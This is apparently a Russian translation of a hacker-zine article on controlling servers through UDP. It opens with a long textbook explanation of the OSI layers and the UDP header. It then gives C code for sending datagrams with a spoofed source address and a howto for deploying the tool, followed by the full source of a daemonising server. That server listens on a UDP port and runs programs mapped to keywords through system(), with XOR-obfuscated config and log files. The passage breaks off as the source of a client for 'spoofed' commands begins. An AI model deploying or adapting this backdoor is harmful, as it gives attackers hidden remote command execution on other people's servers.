-------------------------------------------------
#!/usr/share/doc/defaced/3/misc/udpremcontrol.txt
-------------------------------------------------


                          Удаленный контроль через UDP

Программа написана Angelo Rosiello (Guilecool).

--1) Интро

С  помощью  этой  статьи, я хочу показать, что возможно контролировать серверы с
помощью  UDP.  Чтобы  проиллюстрировать весь вопрос, я приведу пример программы,
которая реализовывает этот способ. Вы можете найти эту программу по адресу:
http://packetstormsecurity.org/UNIX/penetration/udp-remote-final.tar.gz. Но если
вам лень, то в конце статьи будут приведены исходники.

--2) Основы UDP

Перед  описанием  самой программы и выполняемых ей функцией, я подумал, что было
бы  лучше  объяснить важные темы про UDP протокол, потому что это самый основной
элемент нашей статьи.

User Datagram Protocol aka UDP (rfc 768), совместно с TCP, является транспортным
протоколом  в  ISO/OSI  модели.  Дальше  следует  структура  ISO/OSI  модели  (с
объяснением каждого слоя):


--2.1) Физический слой

Этот  уровень занимается тем, что передает биты по физическим каналам, например,
по  коаксильному  кабелю,  витой  паре,  оптоволоконному  кабелю. На этом уровне
модели  OSI определяются следующие характеристики сетевых компонентов, такие как
типы  соединений  сред  передачи  данных,  физические  топологии  сети,  способы
передачи   данных   (с  цифровым  или  аналоговым  кодированием  сигнала),  виды
синхронизации передаваемых данных, разделение каналов связи. Функции физического
уровня  реализуются  во  всех устройствах, подключенных к сети. Со стороны компа
функции  физического  уровня  выполняются сетевым адаптером или последовательным
портом.   Примером  протокола  физического  уровня  может  служить  спецификация
10Base-T технологии Ethernet, которая определяет в качестве используемого кабеля
неэкранированную витую пару категории 3 с волновым сопротивлением 100 Ом, разъем
RJ-45, максимальную длину физического сегмента 100 метров, манчестерский код для
представления  данных  на  кабеле, и другие характеристики среды и электрических
сигналов.


--2.2) Канальный уровень

Итак, мы выяснили, что на физическом уровне просто идет пересылка битов и ничего
более.  И  вообще  не  учитыватся,  кто  передает  данные, кому эти данные нужно
передать,  когда,  и  занят  ли  канал связи и остальные проблемы, которые могут
возникнуть  в  распределенных линиях связи. Все вышеперечисленные факторы его не
касаются.  Главными  задачами  канального  уровня  являются проверка доступности
среды  передачи и реализация механизмов обнаружения и коррекции ошибок. И именно
для  этого  на канальном уровне биты группируются в наборы, которые и называются
кадрами.  Этот  уровень  следит  за  тем, чтобы была корректная передача каждого
кадра, при этом, он помещает специальную последовательность бит в конец и начало
каждого  фрейма,  для того, чтобы, во-первых отметить его, а во-вторых вычислить
контрольную   сумму,   при  помощи  сложения  всех  байтов  кадра  и  добавления
контрольной суммы. Когда кадр доходит до адресата, то получатель снова вычисляет
контрольную  сумму  пришедших данных и сравнивает результат с контрольной суммой
из  кадра. Если эти суммы совпали, то кадр считается правильным и принимается, а
если контрольная сумма не совпала, то сразу же фиксируется ошибка.

Распространенными  примерами  протоколов  канального уровня являются IEEE 802.2,
802.3, 802.4, 802.5 разработанные Институтом Инженеров Электроники (Institute of
Electrical  and  Electronics  Engineering,  IEEE).  Еще  одним примером является
протокол FDDI описывающий правила передачи данных, при помощи оптических каналов
связи. Стандарт протокола FDDI (Fiber Distributed Data Interface) был разработан
Национальным Американским Институтом Стандартизации (American National Standards
Institute, ANSI).

Огромное количество компьютеров и сетевых девайсов во всем мире работают по этим
протоколам.  В  локалках  протоколы канального уровня используются компьютерами,
мостами,  коммутаторами  и  маршрутизаторами. Функции канального уровня в компах
реализуются с помощью сетевых адаптеров и их драйверов.

В   глобальных  сетях,  которые  очень  редко  обладают  регулярной  топологией,
канальный  уровень  реализует  обмен  сообщениями  между  двумя компами, которые
находятся  по  соседству,  соединенными  индивидуальной  линией связи. Примерами
таких,  которые  часто  называют  "точка - точка" могут являться очень известные
протоколы PPP и LAP-B.


--2.3) Сетевой уровень.

Сетевой  уровень занимается тем, что определяет правила доставления данных между
логическими   сетями,   формирование   логических   адресов  сетевых  устройств,
определение,  выбор и поддержание маршрутной информации, функционирование шлюзов
(gateways).

Главной  целью  сетевого уровня - перемещение (доставка) данных в заданные точки
сети. Доставка данных на сетевом уровне практически идентична доставке данных на
канальном  уровне  модели  OSI,  где  для передачи данных применяется физическая
адресация  устройств.  Однако  есть  одно  НО,  адресация  на  канальном  уровне
относится  только  к ОДНОЙ логической сети, и действует только внутри этой сети.
Сетевой  уровень предназначен для передачи информации между многими независимыми
(и   часто   разнородными)  логическими  сетями,  которые,  соединенные  вместе,
формируют   одну   большую   сеть.  Такая  сеть  называется  объединенной  сетью
(internetwork),  а  процессы  передачи  информации  между  сетями  -- межсетевым
взаимодействием (internetworking).

При помощи физической адресации на канальном уровне информация доставляется всем
устройствам,  входящим в одну логическую сеть. Каждое сетевое устройство, каждый
компьютер   определяют   назначение   принятых  данных.  То  есть,  есси  данные
предназначены   компьютеру,  то  он  их  примет,  ну,  а  если  нет,  то  просто
проигнорирует.

Главное  отличие  от  канального  уровня от сетевого - это то, что сетевой может
выбирать  конкретный  маршрут передачи информации в объединенной сети и избегать
посылки  данных  в  те  логические сети, в которые данные не адресованы. Сетевой
уровень  делает  это  путем коммутаций, адресации на сетевом уровне и при помощи
алгоритмов  маршрутизации.  Сетевой  уровень  отвечает за обеспечение правильных
маршрутов для данных через объединенную сеть, состоящую из разнородных сетей. На
этом уровне модели OSI работают маршрутизаторы и некоторые из коммутаторов.

Сетевой  уровень  определяет  правила  формирования  логических адресов (logical
network  address)  сетевых  объектов.  Во  всей большой объединенной сети каждый
сетевой  объект  должен  обладать  уникальным логическим адресом. В формировании
логического  адреса  участвуют  два  компонента:  логический адрес сети, который
является  общим  для  всех  объектов  сети, и логический адрес сетевого объекта,
который  является  уникальным  для  этого  объекта. При формировании логического
адреса сетевого объекта может либо использоваться физический адрес объекта, либо
определяться  произвольный  логический адрес. Использование логической адресации
позволяет организовать передачу данных между разными логическими сетями.

Каждый  сетевой  объект,  каждый компьютер может выполнять много сетевых функций
одновременно,  обеспечивая  работу  различных сервисов. Для обращения к сервисам
используется  специальный идентификатор сервиса, который называется порт (port),
или  сокет (socket). При обращении к сервису идентификатор сервиса следует сразу
за логическим адресом компьютера, обеспечивающего работу сервиса.

В  большинстве  сетей  резервируются группы логических адресов и идентификаторов
сервисов  с  целью  выполнения  конкретных  заранее определенных и общеизвестных
действий.  Например,  в  случае  необходимости  отправить  данные  всем  сетевым
объектам отправка будет произведена на специальный broadcast-адрес.

Сетевой   уровень  определяет  правила  передачи  данных  между  двумя  сетевыми
объектами.  Эта  передача  может  осуществляться с использованием коммутации или
маршрутизации.

Различают  три  метода  коммутации  при  передаче  данных:  коммутация  каналов,
коммутация сообщений и коммутация пакетов.

При использовании коммутации каналов устанавливается канал передачи данных между
отправителем и получателем. Этот канал будет задействован в течение всего сеанса
связи. При использовании этого метода возможны длительные задержки при выделении
канала,  связанные  с отсутствием достаточной полосы пропускания, загруженностью
коммутационного оборудования или занятостью получателя.

Коммутация  сообщений позволяет передавать целое (неразбитое на части) сообщение
по   принципу   "сохранить   и   передать  дальше"  (store-and-forward).  Каждое
промежуточное  устройство  принимает  сообщение,  локально  его  сохраняет и при
освобождении  канала  связи,  по  которому это сообщение должно быть отправлено,
отправляет  его.  Этот  метод хорошо подходит для передачи сообщений электронной
почты и организации электронного документооборота.

При  использовании  коммутации  пакетов  соединяются  вместе  преимущества  двух
предыдущих  методов.  Каждое  большое сообщение разбивается на небольшие пакеты,
каждый из которых последовательно отправляется получателю. При прохождении через
объединенную  сеть  для  каждого из пакетов определяется наилучший в этот момент
времени путь. Получается, что части одного сообщения могут прийти к получателю в
разное время и только после того, как все части будут собраны вместе, получатель
сможет работать с полученными данными.

Каждый  раз  при  определении  дальнейшего  пути  для  данных необходимо выбрать
наилучший  маршрут. Задача определения наилучшего пути называется маршрутизацией
(routing).  Эту задачу выполняют маршрутизаторы (router). Задача маршрутизаторов
--   определение   возможных   путей  передачи  данных,  поддержание  маршрутной
информации,   выбор  наилучших  маршрутов.  Маршрутизация  может  осуществляться
статическим  либо  динамическим  способом. При задании статической маршрутизации
должны  быть  заданы  все взаимосвязи между логическими сетями, которые остаются
неизменными.  Динамическая  маршрутизация  предполагает, что маршрутизатор может
сам  определять новые пути либо модифицировать информацию о старых. Динамическая
маршрутизация   использует   специальные   алгоритмы   маршрутизации,   наиболее
распространенными  из  которых  являются  вектор  дистанции  (distance vector) и
состояние   канала  (link  state).  В  первом  случае  маршрутизатор  использует
информацию  о  структуре  сети  от  соседних  маршрутизаторов, из вторых рук. Во
втором  случае маршрутизатор оперирует информацией о собственных каналах связи и
взаимодействует  со специальным представительским маршрутизатором для построения
полной карты сети.

На  выбор  наилучшего  маршрута  чаще всего влияют такие факторы, как количество
переходов  через маршрутизаторы (hop count) и количество тиков (единиц времени),
необходимых для достижения сети назначения (tick count).

Сервис  соединений  сетевого  уровня  работает  тогда,  когда  сервис соединений
LLC-подуровня канального уровня модели OSI не используется.

При   построении   объединенной   сети  приходится  соединять  логические  сети,
построенные    с   использованием   различных   технологий   и   предоставляющие
разнообразные  сервисы.  Для  того  чтобы  сеть  могла работать, логические сети
должны  уметь  правильно  интерпретировать  данные и управляющую информацию. Эта
задача  решается  с  помощью  шлюза,  который представляет собой устройство, или
прикладную  программу,  переводящую  и интерпретирующую правила одной логической
сети  в  правила  другой.  Вообще,  шлюзы могут быть реализованы на любом уровне
модели OSI, однако чаще всего они реализуются на верхних уровнях модели.


--2.4) Транспортный уровень

Транспортный  уровень  позволяет спрятать физическую и логическую структуры сети
от   приложений  верхних  уровней  модели  OSI.  Приложения  работают  только  с
сервисными функциями, которые достаточно универсальны и не зависят от физической
и   логической   топологий  сети.  Особенности  логической  и  физической  сетей
реализуются на предыдущих уровнях, куда транспортный уровень передает данные.

Транспортный    уровень    часто    компенсирует    отсутствие   надежного   или
ориентированного  на  соединение  сервиса  соединений  на нижних уровнях. Термин
"надежный"  (reliable)  не  означает,  что  все  данные будут доставлены во всех
случаях. Тем не менее надежные реализации протоколов транспортного уровня обычно
могут  подтверждать  или  отрицать  доставку  данных.  Если данные не доставлены
принимающему   устройству  правильно,  транспортный  уровень  может  осуществить
повторную  передачу  или  информировать верхние уровни о невозможности доставки.
Верхние  уровни  могут затем предпринять необходимые корректирующие действия или
обеспечить пользователя возможностью выбора.

Многие  протоколы  в вычислительных сетях обеспечивают пользователям возможность
работы  с  простыми  именами  на естественном языке вместо сложных и тяжелых для
запоминания алфавитно-цифровых адресов. Преобразование адресов в имена и обратно
(Address/Name Resolution) является функцией идентификации или отображения имен и
алфавитно-цифровых  адресов  друг  в друга. Эта функция может выполняться каждым
объектом  в сети или поставщиками специального сервиса, называемыми каталоговыми
серверами  (directory  server),  серверами  имен  (name server) и т.п. Следующие
определения классифицируют методы преобразования адресов/имен:

    * инициация потребителем сервиса;
    * инициация поставщиком сервиса.

В  первом  случае  пользователь  сети  обращается  к  какому-либо сервису по его
логическому  имени,  не зная точное расположение сервиса. Пользователь не знает,
доступен ли этот сервис в данный момент. При обращении логическое имя ставится в
соответствие  физическому  имени,  и  рабочая  станция  пользователя  инициирует
обращение  непосредственно  к сервису. Во втором случае каждый сервис извещает о
себе  всех  клиентов  сети  на  периодической основе. Каждый из клиентов в любой
момент  времени  знает, доступен ли сервис, и умеет обратиться непосредственно к
сервису.

Методы адресации

Адреса  сервиса  идентифицируют  конкретные программные процессы, выполняемые на
сетевых  устройствах. В дополнение к этим адресам поставщики сервиса отслеживают
различные  диалоги, которые они ведут с устройствами, запрашивающими услуги. Два
различных метода диалога используют следующие адреса:

    * идентификатор соединения;
    * идентификатор транзакции.

Идентификатор соединения (connection identifier), также называемый ID соединения
(connection  ID),  портом  (port),  или  сокетом (socket), идентифицирует каждый
диалог.   С   помощью   идентификатора  соединения  поставщик  соединения  может
связываться  более  чем с одним клиентом. Поставщик сервиса обращается к каждому
объекту  коммутации  по  его  номеру,  а  для координации других адресов нижнего
уровня  полагается  на  транспортный  уровень. Идентификатор соединения связан с
конкретным диалогом.

Идентификаторы  транзакций  подобны  идентификаторам  соединений,  но  оперируют
единицами,  меньшими,  чем  диалог. Транзакция составляется из запроса и ответа.
Поставщики  и  потребители  сервиса  отслеживают  отправление  и прибытие каждой
транзакции, а не диалога в целом.


--2.5) Сеансовый уровень

Сеансовый уровень способствует взаимодействию между устройствами, запрашивающими
и  поставляющими  услуги.  Сеансы  связи  контролируются посредством механизмов,
которые  устанавливают,  поддерживают, синхронизируют и управляют диалогом между
поддерживающими  связь  объектами.  Этот  уровень также помогает верхним уровням
идентифицировать доступный сетевой сервис и соединиться с ним.

Сеансовый  уровень  использует  информацию  о  логических  адресах, поставляемую
нижними уровнями, для идентификации имен и адресов серверов, необходимых верхним
уровням.

Сеансовый  уровень  также  инициирует  диалоги  между  устройствами-поставщиками
сервиса  и  устройствами-потребителями.  Выполняя эту функцию, сеансовый уровень
часто   осуществляет   представление,   или  идентификацию,  каждого  объекта  и
координирует права доступа к нему.

Сеансовый  уровень реализует управление диалогом с использованием одного из трех
способов  общения  --  симплекс  (simplex),  полудуплекс  (half duplex) и полный
дуплекс (full duplex).

Симплексное общение предполагает только однонаправленную передачу от источника к
приемнику  информации.  Никакой  обратной  связи (от приемника к источнику) этот
способ  общения  не  обеспечивает. Полудуплекс позволяет использовать одну среду
передачи  данных  для двунаправленных передач информации, однако в каждый момент
времени  информация  может  передаваться  только  в одну сторону. Полный дуплекс
обеспечивает  одновременную  передачу информации в обе стороны по среде передачи
данных.

Администрирование  сеанса  связи  между  двумя  сетевыми объектами, состоящее из
установления   соединения,   передачи   данных,   завершения  соединения,  также
выполняется  на  этом  уровне  модели OSI. После установления сеанса программное
обеспечение,    реализующее    функции    данного    уровня,   может   проверять
работоспособность (поддерживать) соединения вплоть до его завершения.


--2.6) Уровень представления данных

Основная  задача уровня представления данных -- преобразование данных во взаимно
согласованные  форматы  (синтаксис  обмена), понятные всем сетевым приложениям и
компьютерам,  на  которых  работают  приложения.  На  этом уровне также решаются
задачи компрессии и декомпрессии данных и их шифрование.

Под  преобразованием понимается изменение порядка битов в байтах, порядка байтов
в слове, кодов символов и синтаксиса имен файлов.

Необходимость  изменения  порядков  битов и байтов обусловлена наличием большого
количества разнообразных процессоров, вычислительных машин, комплексов и систем.
Процессоры  разных  производителей могут по-разному трактовать нулевой и седьмой
биты  в  байте  (либо нулевой бит является старшим, либо -- седьмой). Аналогично
по-разному  трактуются  байты,  из которых состоят большие единицы информации --
слова.

Для  того  чтобы  пользователи  различных  операционных  систем  могли  получать
информацию  в  виде  файлов  с  корректными  именами  и содержимым, этот уровень
обеспечивает корректное преобразование синтаксиса файлов. Различные операционные
системы  по-разному  работают  со  своими  файловыми системами, реализуют разные
способы формирования имен файлов.
Информация  в  файлах  также  хранится  в  определенной  кодировке символов. При
взаимодействии   двух   сетевых   объектов   важно,  чтобы  каждый  из  них  мог
интерпретировать  файловую  информацию по-своему, но смысл информации изменяться
не должен.

Уровень  представления данных преобразует данные во взаимно согласованный формат
(синтаксис  обмена), понятный всем сетевым приложениям и компьютерам, на которых
работают  приложения.  Может,  кроме  того,  сжимать  и  разворачивать,  а также
шифровать и расшифровывать данные.

Компьютеры  используют различные правила представления данных с помощью двоичных
нулей  и  единиц. Несмотря на то что все эти правила пытаются достичь общей цели
--   представить   данные,   понятные   человеку,  производители  компьютеров  и
стандартизирующие  организации создали правила, противоречащие друг другу. Когда
два  компьютера, использующие различные наборы правил, пытаются связаться друг с
другом, им часто бывает необходимо выполнить некоторые преобразования.

Локальные  и  сетевые операционные системы часто шифруют данные для защиты их от
несанкционированного  использования.  Шифрование  --  это  общий термин, который
описывает  некоторые методы защиты данных. Защита зачастую выполняется с помощью
перемешивания  данных  (data  scrambling),  при  котором  используется  один или
несколько методов из трех: перестановка, подстановка, алгебраический метод.

Каждый  из  подобных  методов  -  это  просто  особый способ защиты данных таким
образом,  чтобы они могли быть поняты только тем, кто знает алгоритм шифрования.
Шифрование  данных  может  выполняться  как  аппаратно, так и программно. Однако
сквозное  шифрование  данных обычно выполняется программным способом и считается
частью   функций   уровня  представления  данных.  Для  оповещения  объектов  об
используемом  методе  шифрования обычно применяется 2 метода --секретные ключи и
открытые ключи.

Методы  шифрования  с  секретным  ключом  используют  единственный ключ. Сетевые
объекты,  владеющие  ключом,  могут шифровать и расшифровывать каждое сообщение.
Следовательно,  ключ  должен  сохраняться  в  секрете. Ключ может быть встроен в
микросхемы   оборудования   или  установлен  администратором  сети.  При  каждом
изменении  ключа  все  устройства  должны  быть  модифицированы  (желательно  не
использовать сеть для передачи значения нового ключа).

Сетевые   объекты,   использующие   методы   шифрования   с   открытым   ключом,
обеспечиваются  секретным ключом и некоторым известным значением. Объект создает
открытый  ключ,  манипулируя  известным  значением посредством секретного ключа.
Объект, инициирующий коммуникацию, посылает свой открытый ключ приемнику. Другой
объект  затем  математически комбинирует собственный секретный ключ с переданным
ему открытым ключом для установки взаимоприемлемого значения шифрования.

Владение  только открытым ключом мало полезно несанкционированным пользователям.
Сложность  результирующего  ключа  шифрования достаточно велика, чтобы его можно
было  вычислить за приемлемое время. Даже знание собственного секретного ключа и
чьего-то  открытого ключа не слишком поможет определить другой секретный ключ --
из-за сложности логарифмических вычислений для больших чисел.


--2.7) Прикладной уровень

Прикладной уровень содержит все элементы и функции, специфичные для каждого вида
сетевого   сервиса.   Шесть  нижних  уровней  объединяют  задачи  и  технологии,
обеспечивающие  общую  поддержку  сетевого  сервиса,  в  то время как прикладной
уровень  обеспечивает  протоколы,  необходимые для выполнения конкретных функций
сетевого сервиса.

Серверы  представляют  клиентам  сети  информацию  о том, какие виды сервиса они
обеспечивают.  Основные  механизмы идентификации предлагаемых услуг обеспечивают
такие  элементы, как адреса сервиса. Кроме того, серверы используют такие методы
представления своего сервиса, как активное и пассивное представление сервиса.

При осуществлении активного представления сервиса (Active service advertisement)
каждый  сервер  периодически  посылает  сообщения  (включающие  адреса сервиса),
объявляя  о своей доступности. Клиенты также могут опрашивать сетевые устройства
в  поисках  определенного  типа  сервиса.  Клиенты  сети собирают представления,
сделанные  серверами,  и  формируют  таблицы  доступных  в настоящее время видов
сервиса.   Большинство   сетей,   использующих  метод  активного  представления,
определяют  также  конкретный  период  действия представлений сервиса. Например,
если  сетевой  протокол  определяет, что представления сервиса должны посылаться
каждые  пять  минут,  то  клиенты  будут  удалять  по тайм-ауту те виды сервиса,
которые  не  были  представлены  в  течение  последних  пяти минут. По истечении
таймаута клиент удаляет сервис из своих таблиц.

Серверы   осуществляют   пассивное   представление   сервиса   (Passive  service
advertisement)  путем  регистрации  своего  сервиса  и  адреса в каталоге. Когда
клиенты  хотят определить доступные виды сервиса, они просто запрашивают каталог
о местоположении нужного сервиса и об его адресе.

Прежде  чем  сетевой  сервис  может  быть использован, он должен стать доступным
локальной  операционной системе компьютера. Существует несколько методов решения
этой  задачи,  однако  каждый  такой  метод  может быть определен положением или
уровнем,   на   котором   локальная   операционная  система  распознает  сетевую
операционную систему. Предоставляемый сервис можно подразделить на три категории:

    * перехват вызовов операционной системы;
    * удаленный режим;
    * совместная обработка данных.

При   использовании  перехвата  вызовов  ОС  (OC  Call  Interception)  локальная
операционная система совершенно не подозревает о существовании сетевого сервиса.
Например, когда приложение DOS пытается читать файл с сетевого файл-сервера, оно
считает,  что  данный  файлнаходится на локальном накопителе. В действительности
специальный  фрагмент  программного  обеспечения  перехватывает запрос на чтение
файла   прежде,  чем  он  достигнет  локальной  операционной  системы  (DOS),  и
направляет запрос сетевому файловому сервису.

В  другом  крайнем  случае,  при  удаленном  режиме  (Remote  Operation)  работы
локальная  операционная система знает о сети и ответственна за передачу запросов
к  сетевому  сервису.  Однако сервер ничего не знает о клиенте. Для операционной
системы  сервера  все  запросы к сервису выглядят одинаково, независимо от того,
являются ли они внутренними или переданы по сети.

Наконец,  существуют операционные системы, которые знают о существовании сети. И
потребитель  сервиса,  и поставщик сервиса распознают существование друг друга и
работают  вместе,  координируя  использование  сервиса.  Этот  тип использования
сервиса   обычно   требуется   для  одноранговой  совместной  обработки  данных.
Совместная  обработка  данных  подразумевает  разделение  возможностей обработки
данных  для  выполнения  единой  задачи.  Это означает, что операционная система
должна   знать   о   существовании   и  возможностях  других  и  быть  способной
кооперироваться с ними для выполнения нужной задачи.


--2.8) Формат заголовка для датаграмм клиента

0       7|8       15|16      23|24    31
|-------------------|------------------|
|Порт отправителя   |Порт получателя   |
|-------------------|------------------|
|      Длина        |Контрольная сумма |
|-------------------|------------------|
|           Октеты данных ...          |
|----------------------- ...           |

Порт  отправителя  (16 бит): если задействован порт отправителя, то он указывает
порт  процесса,  посылающего  датаграмму.  Можно  принять,  что это тот порт, на
который  при  отсутствии  какой-либо иной информации следует адресовать ответную
датаграмму.  Если данное поле не задействовано, то в него следует записать нули.
Порт  получателя  имеет  смысл  только  в  контексте конкретного Internet адреса
получателя.

Длина (32 бита): длина в октетах данной датаграммы, включая как заголовок, так и
данные (Это означает, что минимальное значение поля длины равно восьми).

Контрольная сумма (16 бит): 16 битное дополнение до единицы суммы дополнений UDP
заголовка,  данных и псевдозаголовка. Последний содержит информацию из заголовка
в  протоколе IP. В случае необходимости, датаграмма дополняется в конце нулевыми
октетами, чтобы общее их количество стало четным.

Если  расчетная  контрольная  сумма равна нулю, она передается как поле, целиком
состоящее  из  единиц  (эквивалент  при  дополнении  до единицы). Передача поля,
целиком  состоящего  из  нулей, означает, что отправитель датаграммы не вычислял
контрольной  суммы  (при отладке, а также для тех протоколов, которые не требуют
точности передачи).


--3) Как спуфить дейтаграммы?

В OSI модели, протокол UDP exploit'ирует сервисы IP. Одна из главных уязвимостях
в UDP -это возможность посылать "заспуфенные" пакеты (с fake'овскими IP).


--3.1) Куски кода

Чтобы  более лучше понять этот метод, взгляните на следующий кусок кода, который
позволяет подделывать порт отправителя дейтаграммы.

.............
#include  .... main()
{
int  ....;
char  ....;
int  sd;
int  port = 34567;
struct sockaddr_in source_addr, destination_addr;
udp_initialize(&source_addr, 0,  inet_addr(argv[1]));       //   (1)
udp_initialize(&destination_addr, port,  inet_addr(argv[2]));   //   (2)
sd = socket(AF_INET, SOCK_DGRAM, 0);
bind(sd, (struct sockaddr *)  &source_addr,
   sizeof(source_addr);
sendto(sd, argv[3], strlen(argv[3]), 0, (struct sockaddr *)
   &destination_addr, sizeof(destination_addr));

void  udp_initialize(struct  sockaddr_in  *address, int  port, long  IPaddr)
{
address->sin_family   =  AF_INET;
address->sin_port  =   htons((u_short)port);
address->sin_addr.s_addr = IPaddr;
}

--3.2) Объяснение кода

(1)  Этот  кусок  кода  вызывает udp_initialize процедуру, которая позволяет вам
заполнить  поля  структуры сокетов. В этом специфическом случае мы помещаем порт
сокета на 0, а IP адрес, как argv[1].

В  этом  случае  (2)  значение  сокета  получателя  (destination's socket value)
устанавливаетя правильно.

Шаг (1) позволяет нам создавать заспуфенные дейтаграммы (datagramm).

Теперь,  когда  мы  разобрались  с функциями UDP, вы можете понять намного лучше
вышеуказанную  программу.  Эта программа может использовать разные способы, но в
комплексе она работает конечно же лучше.


--4) Анализ программы

$cat server.c

#define PORT 32980    //Прослущивающий порт

#define ETC  "udp.conf"  //Конфигурационный файл.

Вы  можете  изменить вышеуказанные значения, как вы желаете. Файл udp.conf может
быть отредактирован для правильного использования, как например здесь:

$cat udp.conf
KEY WORD:/PATH/TO/PROGRAM

пример:
clash:/home/clash/hello

Когда   сервер   получит   ключевое   слово  "clash",  он  сразу  исполнит  файл
"/home/angelo/hello".   Программа   даже   содержит  инструменты  для  процедуры
логирования всех полученных команд, с датой и IP отправителя.

d = open("server.log", O_CREAT | O_RDWR | O_APPEND, 0644);

Лог  файл  помещается в туже самую директорию, где и находится сама программа, и
будет  называться  "server.log". Еще один плюс этой программы заключается в том,
что   программа   криптует  конфигурационный  и  лог  файлы.  crypto()  алгоритм
действительно  простой,  но  не такой тупой; он выполняет XOR шифрование каждого
байта файла с применением ключа.

Дефолтовый ключ:

int key = 0xff17261;  //Это криптографический ключ; измените его, если вам 
необходимо!!! Вы можете изменить его или вставить другой ключ, подобно 0xff71678.

Файл  "udp.conf"  будучи  отредактированным  правильно, должен быть зашифрован с
помощью  крипто программой, которую можно найти в главном каталоге, который идет
в  архиве.  Это  очень  важно,  потому что ключи server.c и crypto.c должны быть
похожи, если нет, то программа сервера вообще не будет работать, поскольку он не
сможет правильно читать файл "udp.conf".


--4.1) Быстрое howto

Отредактируйте файл "udp.conf" со следующими вышеописанными вариантами. Измените
ключи server.c и crypto.c (они обязательно должны быть одинаковыми).

Компилим программу.

Потом: $./server  (программа-сервер запускается в фоновом режиме).

Теперь посылаем ключевые комманды, используя программу-клиент.
$./client SOURCE-IP DEST-IP PORT command

А теперь самое вкусное. Сама программа.

--5) Исходники программы

--5.1) Исходники сервера


#######################   SERVER.C ############################
/*
***
***
***                       UDP REMOTE CONTROLS
***
***
***                Copyright (c) The last of Calamities
***                       All Rights Reserved
***             AUTHOR: Angelo Rosiello (Guilecool)
***
***       DATE: 30/01/2003 (maybe It was the 20th hand..)
***
***
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <assert.h>
#include <netdb.h>
#include <time.h>
#include <stddef.h>

#define PORT 32980
#define ETC "udp.conf"

void bg();
void udp_initialize();
char crypto(char ch);
void logging();



main() /* well, I like to put main() right here ;P */
  {

    int sd, client_len, status, binding, fd, result, i,comando, eof;
         char ch[1024], temp, crypted, memorizza[100];
    struct sockaddr_in server_addr, client_addr;
    udp_initialize(&server_addr, PORT, INADDR_ANY);
    sd = socket(AF_INET, SOCK_DGRAM, 0);
    if(sd < 0) perror("Socket");
    assert(sd >= 0);
    binding = bind(sd, (struct sockaddr *) &server_addr,
          sizeof(server_addr));
    if(binding != 0) perror("Bind");
    assert(binding == 0);
    fd = open(ETC, O_RDONLY);
    if(fd <= 0) perror("UDP.CONF");
    assert(fd > 0);
    bg();

    while(1)
    {
       for(i = 0; i< 1024; i++) ch[i] = '\0';
      for(i = 0; i< 100; i++) memorizza[i] = '\0';
            recvfrom(sd, ch, 1023, 0, (struct sockaddr *) &client_addr,
                &client_len);
      result = 1;
      i = 0;
      lseek(fd, 0, 0);

      logging(ch);


      while(result)
      {
              eof = read(fd, &temp, 1);
         if(eof == 0) break;
         crypted = crypto(temp);
         if(crypted != ':' && crypted != '\n')
         {
            memorizza[i] = crypted;
            i++;
         }
         else if(crypted == '\n')
         {
            for(i=0; i< 100; i++) memorizza[i] = '\0';
            i = 0;
         }
         else if(crypted == ':')
         {
              if(!strcmp(memorizza, ch))
                {
               for(i=0; i< 100; i++)
                     memorizza[i] = '\0';
               i = 0;
               comando = 1;
               while(comando)
               {
                  read(fd, &temp, 1);
                  crypted = crypto(temp);
                  if(crypted != '\n')
                  {
                  memorizza[i] = crypted;
                  i++;
                  }
                  else if(crypted == '\n')
                  {

                     system(memorizza);
                     comando = 0;
                  }
               }
            }
            else
            {
               for(i=0; i<100; i++) memorizza[i]= '\0';
               i = 0;
            }
             }
      }

    }

}


/*
** Implementing the procedures
**
** 1) Background
**
** 2) Setting up addresses
**
** 3) Logging
**
** 4) Decrypting the config file and reading it
**
*/



/**********************************************
* Background procedure               *
* Nothing to explain even...                  *
**********************************************/

void bg()
{
   signal(SIGHUP, SIG_IGN);
   if (fork ()!= 0)
   {
      exit(0);
   }
}




/**********************************************
* Address initialize procedure                *
**********************************************/

void udp_initialize(struct sockaddr_in *address, int port, long IPaddr)
{
   address->sin_family = AF_INET;
   address->sin_port = htons((u_short)port);
   address->sin_addr.s_addr = IPaddr;
}




/**********************************************
* Crypting procedure                          *
* The configuration file will be decripted    *
* The Log file will be cripted...             *
**********************************************/

char crypto(char ch)
{
        char crypted;
        int key = 0xff17261;
        crypted = ch ^ key;
        return(crypted);
}




/**********************************************
* Logging procedure                           *
* The Logs' file will be "server.log"         *
**********************************************/

void logging(char ch[1024])
{
   struct hostent *entity;
   struct sockaddr_in client_addr;
   struct tm *ptr;
   int fd, i;
   unsigned long ip;
   char orario[30], temp[1024], crypted, carattere, indirizzo[32];
   char source[] = "Connection from \n";
   char stringa[] = " ---> Received: \n";
        time_t lt;
        lt = time(NULL);
        ptr = localtime(&lt);
        fd = open("server.log", O_CREAT | O_RDWR | O_APPEND, 0644);
   if(fd < 0) perror("Opening logs' file");
   assert(fd >= 0);
        entity = gethostbyaddr((char *) &client_addr.sin_addr,
            sizeof(struct in_addr), AF_INET);
        assert(entity >= 0);
        ip = inet_ntoa((struct in_addr) client_addr.sin_addr);
   i = 0;

   sprintf(orario, "%s", (asctime(ptr)));
   while(1)
   {
      if(orario[i] == '\n')
      {
         i = 0;
         break;
      }
      carattere = orario[i];
           crypted = crypto(carattere);
      write(fd, &crypted, 1);
      i++;
   }
   crypted = crypto('\n');
   write(fd, &crypted, 1);

   while(1)
   {
      if(source[i] == '\n')
      {
         i = 0;
         break;
      }
           carattere = source[i];
           crypted = crypto(carattere);
      write(fd, &crypted, 1);
      i++;
   }

        sprintf(indirizzo, "%s\n", ip);
   while(1)
   {
      if(indirizzo[i] == '\n')
      {
         i = 0;
         break;
      }
      carattere = indirizzo[i];
      crypted = crypto(carattere);
      write(fd, &crypted, 1);
      i++;
   }

   while(1)
   {
      if(stringa[i] == '\n')
      {
         i = 0;
         break;
      }
      carattere = stringa[i];
      crypted = crypto(carattere);
      write(fd, &crypted, 1);
      i++;
   }

   while(1)
   {
      if(ch[i] == '\0')
      {
         i = 0;
         break;
      }
      carattere = ch[i];
      crypted = crypto(carattere);
      write(fd, &crypted, 1);
      i++;
   }
   crypted = crypto('\n');
   write(fd, &crypted, 1);
   write(fd, &crypted, 1);
}

/*
**
**             EOF
**
**
*/

--5.2) Исходники клиента

############################ CLIENT.C ##################################
/*
**
**
**            Unix Udp Client
**
**   This is the Unix client UDP , to send spoofed/unspoofed commands.
